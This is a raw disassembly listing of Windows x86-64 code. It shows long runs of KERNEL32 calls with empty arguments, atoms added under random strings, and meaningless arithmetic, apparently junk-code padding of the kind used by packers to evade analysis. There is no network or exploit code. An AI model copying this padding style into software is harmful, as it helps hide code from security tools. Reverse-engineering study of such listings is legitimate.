movzx ecx, word [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fc0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx ecx, word [rsp + 0x1fa4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fec], ax
mov rax, qword [rsp + 0xc3e0]
movzx ecx, al
mov rax, qword [rsp + 0xc580]
shl rax, cl
mov qword [rsp + 0xc5e8], rax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x1718]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa90], ax
movzx eax, byte [rsp + 0x374]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
movzx ecx, word [rsp + 0x1fcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff0], ax
lea rax, [rsp + 0x5520]
mov qword [rsp + 0xc728], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
imul eax, dword [0x1401c8a18], 0x32b7
mov dword [rsp + 0x6400], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff4], ax
movzx ecx, word [rsp + 0x1f08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f74], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0xc588]
mov qword [rsp + 0xc730], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64d0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x255]
sub eax, ecx
mov byte [rsp + 0xa9], al
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff4], ax
movzx ecx, word [rsp + 0x1f4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff8], ax
movsx eax, word [0x1401c7054]
movsx ecx, word [rsp + 0x13c8]
sub eax, ecx
mov word [rsp + 0xb90], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov word [0x1401c8ab4], ax
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc580]
shl rax, cl
mov qword [rsp + 0xc500], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx ecx, word [rsp + 0x1f80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ffc], ax
mov rax, qword [rsp + 0xc088]
movzx ecx, al
mov rax, qword [rsp + 0xc700]
sar rax, cl
mov qword [rsp + 0xb0d8], rax
movzx eax, word [rsp + 0x134c]
mov word [rsp + 0x2000], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [0x1401c8a48]
or eax, ecx
mov word [rsp + 0xa5c], ax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov r9d, 2
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62a8], eax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6430], eax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x64ac]
mov dword [rsp + 0x64d4], eax
mov rax, qword [rsp + 0xc530]
mov rcx, qword [rsp + 0xc468]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc550], rax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a12]
imul eax, ecx
mov byte [rsp + 0x386], al
lea rax, [rsp + 0xc218]
mov qword [rsp + 0xc738], rax
mov r9d, 1
lea r8, [rsp + 0xc740]
mov rdx, qword [rsp + 0xc740]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64a8], eax
movsx eax, word [rsp + 0x1f68]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c7050], ax
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fa0]
and eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0xc628]
mov rcx, qword [rsp + 0xc6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5b70], eax
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movzx eax, byte [rsp + 0x381]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x384], al
mov rax, qword [rsp + 0xc4b0]
mov qword [rsp + 0xc748], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62e8], eax
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa9]
or eax, ecx
mov byte [rsp + 0x386], al
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc350]
mov qword [rsp + 0xc750], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc750]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa148], rax
mov eax, dword [rsp + 0x62f4]
mov ecx, dword [rsp + 0x6098]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x557c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x137c], ax
lea rdx, [rsp + 0x26028]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6334], eax
lea rcx, [rsp + 0x1d430]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [0x1401c8ab4]
movzx ecx, word [rsp + 0xcb4]
sub eax, ecx
mov word [0x1401c7040], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x627c], eax
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
mov qword [rsp + 0xc758], rax
lea rdx, [rsp + 0x26108]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6420], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6444], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1fd0], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6478], eax
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1238], ax
mov rax, qword [rsp + 0xaef0]
mov qword [rsp + 0xc760], rax
movsx eax, byte [rsp + 0x2b6]
movsx ecx, byte [rsp + 0x379]
sar eax, cl
mov byte [rsp + 0x376], al
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc5d8]
mov rcx, qword [rsp + 0xc6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5d98], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6324], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx ecx, word [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f98], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x63f0], eax
lea rcx, str.GSj_GELvt
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2004], ax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xbf50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc350]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xc490]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, str.GLP4g_Ykwghuw_P0Z_H
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1fc0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64d8], eax
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [0x1401c8a70]
movzx ecx, word [rsp + 0xcb4]
and eax, ecx
mov word [rsp + 0x1fe0], ax
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0xc5e8]
xor rcx, rax
mov rax, rcx
mov qword [0x1401c7058], rax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc768], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc650], rax
movzx eax, byte [rsp + 0x374]
mov byte [rsp + 0x389], al
mov eax, dword [rsp + 0x645c]
mov ecx, dword [rsp + 0x62d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6440], eax
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1928], ax
movzx eax, word [rsp + 0x9cc]
movzx ecx, word [0x1401c7040]
shl eax, cl
mov word [rsp + 0x1f38], ax
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x38a], al
mov rax, qword [rsp + 0xc658]
mov rax, qword [rax]
imul rax, qword [rsp + 0xc530]
mov qword [rsp + 0xc6c0], rax
mov rax, qword [rsp + 0xc570]
mov rcx, qword [0x1401c8a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
add eax, ecx
mov word [rsp + 0x1d14], ax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [0x1401c8a50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8ab4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6478], eax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0x94c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc2e8], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.BXxBVjlHe5Q7mjH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc770], rax
mov rax, qword [rsp + 0xc510]
mov qword [rsp + 0xc778], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xc608]
mov rcx, qword [rsp + 0xc580]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9620], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movsx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0xa148]
mov qword [rsp + 0xc780], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov eax, dword [rsp + 0x63c4]
movzx ecx, al
mov eax, dword [rsp + 0x6380]
shr eax, cl
mov dword [rsp + 0x6494], eax
mov rax, qword [rsp + 0xc610]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x375]
add eax, ecx
mov byte [rsp + 0x15f], al
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x1c6]
add eax, ecx
mov byte [rsp + 0x26d], al
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64dc], eax
mov rax, qword [rsp + 0xc728]
mov rcx, qword [rsp + 0xc6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x64cc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc3e8], rax
lea rcx, [rsp + 0x1d408]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc1c0]
movzx eax, word [rax]
mov word [0x1401c8ab8], ax
movzx eax, word [rsp + 0x19ac]
mov word [rsp + 0x2008], ax
lea rcx, str.EjX5Hp_csB9Z.wNuRJ9e
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f48], ax
movzx eax, word [0x1401c8ab4]
movzx ecx, word [rsp + 0x1fd0]
and eax, ecx
mov word [rsp + 0x1fd4], ax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xc540]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbc18], rax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc590]
mov qword [rsp + 0xc788], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc788]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc468], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64e0], eax
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x64ac]
shl eax, cl
mov dword [rsp + 0x5eb0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63b8], eax
movzx eax, byte [rsp + 0x255]
mov byte [rsp + 0x38b], al
movsx eax, word [rsp + 0x1f68]
mov rcx, qword [0x1401c8a38]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x12c8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
mov word [rsp + 0x200c], ax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c7060], rax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [0x1401c8a50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0xc778]
mov rcx, qword [rsp + 0xc758]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3d0], rax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [0x1401c8aa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc2e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x6464]
movzx ecx, al
mov eax, dword [rsp + 0x6490]
shl eax, cl
mov dword [rsp + 0x6494], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64b4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rdx, [rsp + 0x26140]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64dc], eax
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov qword [rsp + 0xc790], rax
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc3d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x26d]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x30b], al
lea rdx, [rsp + 0x26178]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6428], eax
mov rax, qword [rsp + 0xc728]
mov ecx, dword [rsp + 0x5728]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5a24], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6304], eax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa9]
xor eax, ecx
mov rcx, qword [rsp + 0xc368]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64c8], eax
lea rcx, [0x1401ac620]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1ff0], ax
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xc5c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64e4], eax
movsx eax, word [rsp + 0x1f68]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401c8a14], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x2010], ax
lea rcx, [rsp + 0x1d430]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc798], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rcx, [rsp + 0x1d408]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f84]
or eax, ecx
mov word [rsp + 0x1fac], ax
mov rax, qword [rsp + 0xc6c0]
mov qword [rsp + 0xc7a0], rax
movsx eax, byte [rsp + 0x37e]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x37d], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [rsp + 0x62f4]
movzx ecx, al
mov eax, dword [0x1401c7008]
shr eax, cl
mov dword [rsp + 0x6098], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.a5SJ09JQq1uVpTrH8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc7a8], rax
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov word [rsp + 0xb84], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x114c]
movzx ecx, word [rsp + 0x1f20]
add eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov word [rcx], ax
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7058], rax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc088]
mov qword [rsp + 0xc7b0], rax
mov rax, qword [0x1401c8aa8]
mov rcx, qword [rsp + 0xb910]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc3c8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc2e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
mov r9d, 1
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc578]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b4], eax
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
mov rcx, qword [0x1401c8a50]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1e60], ax
movzx eax, byte [rsp + 0x378]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x389], al
mov eax, dword [rsp + 0x597c]
mov dword [rsp + 0x64e8], eax
mov rax, qword [rsp + 0xc570]
mov rcx, qword [rsp + 0xc6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc6d0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x38c], al
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2004], ax
mov r9d, 0x19eb
xor r8d, r8d
lea rdx, [rsp + 0xc690]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x64ec], eax
lea rax, [rsp + 0xc3a8]
mov qword [0x1401c8ac0], rax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xc640]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
and eax, ecx
mov rcx, qword [rsp + 0xc4e0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1608]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb90], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
lea rax, [rsp + 0x1f0c]
mov qword [rsp + 0xc7b8], rax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [0x1401c8aa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc3e0], rax
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37e]
sub eax, ecx
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0xbf50]
mov rcx, qword [rsp + 0xc350]
mov qword [rsp + 0xc7c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7c0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc460], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov eax, dword [rsp + 0x5ed0]
mov rcx, qword [0x1401c8a40]
mov qword [rsp + 0xc7c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x64d4], eax
mov rax, qword [rsp + 0xc6b0]
movzx eax, word [rax]
mov word [rsp + 0x2014], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [0x1401c8ac8], ax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [0x1401c8a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbc18], rax
mov r9d, 2
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62a8], eax
movzx eax, word [rsp + 0x1fd8]
movzx ecx, word [rsp + 0x9cc]
sub eax, ecx
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0xc628]
mov rcx, qword [rsp + 0xc728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc628]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2d8]
movzx ecx, byte [rsp + 0x384]
add eax, ecx
mov byte [rsp + 0x1c6], al
mov rax, qword [rsp + 0xc430]
mov eax, dword [rax]
mov dword [rsp + 0x64f0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64f4], eax
movzx ecx, word [rsp + 0x1fbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f5c], ax
lea rdx, [rsp + 0x261b0]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64dc], eax
movsx eax, byte [rsp + 0x1d7]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37d], al
mov rax, qword [rsp + 0xc468]
mov rcx, qword [rsp + 0xc790]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d60], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1f54]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f10], ax
movzx eax, word [rsp + 0x1718]
mov word [0x1401c8acc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0xc620]
mov qword [rsp + 0xc7d0], rax
xor edx, edx
xor ecx, ecx
